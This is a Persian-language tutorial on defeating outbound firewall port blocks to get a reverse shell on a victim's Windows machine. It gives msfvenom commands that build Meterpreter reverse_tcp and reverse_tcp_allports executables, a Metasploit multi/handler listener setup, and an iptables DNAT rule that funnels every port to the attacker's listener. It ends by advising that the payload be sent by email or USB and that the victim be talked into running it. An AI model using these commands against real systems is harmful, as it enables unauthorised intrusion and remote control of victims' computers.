همان طور که می دانید، یکی از سیاست های امنیتی که در برخی از شبکه ها پیاده می شود، ایجاد محدودیت بر روی port هایی هست که سیستم های عضو شبکه می توانند برای ارتباطات خارجی خود از آنها استفاده بکنند. به بیان دقیق تر، مدیران شبکه می توانند برای ایجاد امنیت در سطح شبکه، با تعریف نمودن قوانینی در Firewall سیستم کاربران شبکه، لیستی از شماره port های غیر مجاز را در Outbound rules مشخص نمایند. بدین ترتیب، هر یک از سیستم ها تنها قادر خواهد بود از port های مشخصی برای ارتباطات بیرونی خود استفاده نماید.
آگاهی داشتن از port هایی که بر روی سیستم قربانی به عنوان port های مجاز در برقراری ارتباطات خارجی سیاست گذاری شده اند برای مهاجم اهمیت دارد؛ چرا که در سناریوهایی که مهاجم قصد گرفتن reverse shell بر روی سیستم قربانی دارد، باید یک شماره port مشخصی از سیستم خود را در payload مخربی که برای قربانی می سازد، معرفی نماید؛ مفهومی که اکثرآ با آن آشنا هستیم و برای اجرای آن کافی است از ابزارهایی مثل msfvenom و مثلا از دستور زیر برایش استفاده بکنیم:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker’s listener IP> LPORT=<attacker’s listener #port> -f exe > malicious.exe
بنابراین اگر مهاجم اطلاعات کافی از سیستم قربانی نداشته باشد، ممکن هست شماره portای که برای payload مخربش استفاده کرده یکی از port هایی باشد که block میشود. در نتیجه بهترین روشی که وجود دارد این هست که مهاجم payload اش را general بسازد و فرض را بر این بگذارد که چنین محدودیتی روی سیستم قربانی وجود دارد. اما منظورمان از یک general payload چیست؟
یک general payload در واقع payload ای هست که در زمان طراحی آن، port مشخصی برای listener مهاجم مشخص نمی کنیم، بلکه payload را جوری طراحی می کنیم که وقتی روی سیستم قربانی اجرا شد، تمام 65535 port را امتحان بکند و از اولین portای که block نمی شد، برای اتصال به listener مهاجم استفاده بکند. البته هر چقدر این rangeای که برای بررسی port ها روی سیستم قربانی در نظر گرفته میشه کمتر از 65535 بشود بهتر و هوشمندانه تر هست. اما خب این مسئله خیلی به شرایط و موقعیت بستگی دارد.
برای ساخت general payload مورد نظر می توانیم از payload زیر که یکی از payload های موجود در framework: Metasploit هست استفاده بکنیم:
windows/meterpreter/reverse_tcp_allports
برای درک بهتر payload و این که چجوری می توانیم از آن استفاده بکنیم، یک سناریو را با هم بررسی میکنیم. در سناریوی مورد بحث، فرض می کنیم که تو شبکه قربانی، portهای 1 تا 6252 به عنوان portهای غیرمجازی که connection به آنها block می شود تعریف شدند. یعنی مثلا قانونی که تو تصویر زیر می بینید:
هم چنین ما فرض را بر این می گذاریم که مهاجم می خواهد تمام 65535 port را روی سیستم قربانی بررسی بکند و شانس خود را امتحان کند. مراحل مورد نیاز را به ترتیب بررسی می کنیم.
مرحله اول: در این مرحله مهاجم باید general payload مورد نظرش را طراحی بکند. برای این کار کافی است پارامترهایی که در طراحی payload وجود دارند را مشخص بکند و بعد با استفاده از msfvenom آن را بسازد. برای دیدن پارامترهایی که payload مورد نظر از آنها استفاده می کند، می توان از دستور زیر استفاده کرد:
msfvenom -p windows/meterpreter/reverse_tcp_allports --list-options
یکی از پارامترهایی که برای استفاده از این payload وجود دارد، پارامتر “LPORT” هست که برای مشخص کردن شروع شماره port ای هست که payload بعد از اجرا شدن روی سیستم قربانی، وضعیت آنها را برای connection زدن به listener مهاجم بررسی می کند. در سناریوی مورد نظر ما، مهاجم هیچ اطلاعی از وضعیت port های سیستم قربانی ندارد و برای همین می خواهد payload را با بررسی تمام 65535 port بسازد. در نتیجه شروع شماره port ها برای مهاجم از شماره “1” هست که همان مقدار default این پارامتر هست و نیازی به مقداردهی ندارد. اما اگر در سناریویی خواستید این مقدار را تغییر دهید، باید از عبارت “<LPORT=<desired number” در دستور ساخت payload استفاده بکنید.
خب پس دستوری که مهاجم فرضی ما برای ساخت payload اش از آن استفاده می کند بدین شکل هست:
msfvenom -p windows/meterpreter/reverse_tcp_allports LHOST=<attacker’s listener IP> -f exe >portchecker.exe
مرحله دوم: در این مرحله مهاجم باید listener اش را فعال بکند تا با اجرا شدن payload ای که ساخته است، بتواند روی سیستم قربانی، reverse shell بگیرد. برای این کار از ماژول exploit/multi/handler در Metasploit استفاده می کند:
use exploit/multi/handler
show options
<set lhost <attacker’s IP
<set lport <attacker’s #port
exploit
شاید برای شما این سوال پیش آمده باشد که وقتی مهاجم نمی داند کدام port روی سیستم قربانی هست که برای وصل شدن به listener اش می شود از آن استفاده کرد، چطور مقدار LPORT را در listener با عددی مثل “2121” مقداردهی کرده است؟ جواب این سوال تو مرحله بعدی هست.
مرحله سوم: برای رفع این مشکل، مهاجم می تواند از firewall سیستمش کمک بگیرد. درواقع کاری که باید انجام بشود، این هست که قانونی در firewall تعریف بشود تا هرگاه ترافیکی برای یک port range به خصوصی از سیستم مهاجم آمد، آن را به یک local port مشخص از سیستم، redirect بکند. اینجوری هر portای که بعد از اجرای payload روی سیستم قربانی، موفق شد تا برای connection زدن به listener مهاجم مورد استفاده قرار بگیرد، به کمک قانون تعریف شده در firewall به local port ای که مهاجم در listener خود آن را معرفی کرده، redirect می شود.
برای تعریف این قانون در firewall سیستم مهاجم از دستور زیر استفاده می شود:
<iptables -A PREROUTING -t nat -i <interface> -p tcp --dport 1:65535 -j DNAT --to-destination <attacker’s listener IP address>:<attacker’s listener #port
تو این دستور port range را با پارامتر “dport--" و بر اساس سناریوی مورد نظر از 1 تا 65535 در نظر گرفتیم که بر اساس سناریوهای متفاوت قابل تغییر هست.
مرحله چهارم: حالا تمام پیش نیازات روی سیستم مهاجم درست شده و وقت آن هست که payload ساخته شده را به روش های مختلفی که وجود دارد، مثل ایمیل، USB و ... برای قربانی فرستاد و او را ترغیب کرد تا فایل دریافتی را به اجرا درآورد. هروقت قربانی فایل portchecker.exe را اجرا بکند، مهاجم دسترسی reverse shell ای که مد نظر داشت را به دست آورده است:
با توجه به سناریویی که مد نظر ما بود، اولین port ای که روی سیستم قربانی، اجازه داشت به خارج connection بزند، port: 6253 می شد که دقیقاً مطابق با توقعی هم که داشتیم، port:6253 برای connection زدن به سیستم مهاجم مورد استفاده قرار گرفته: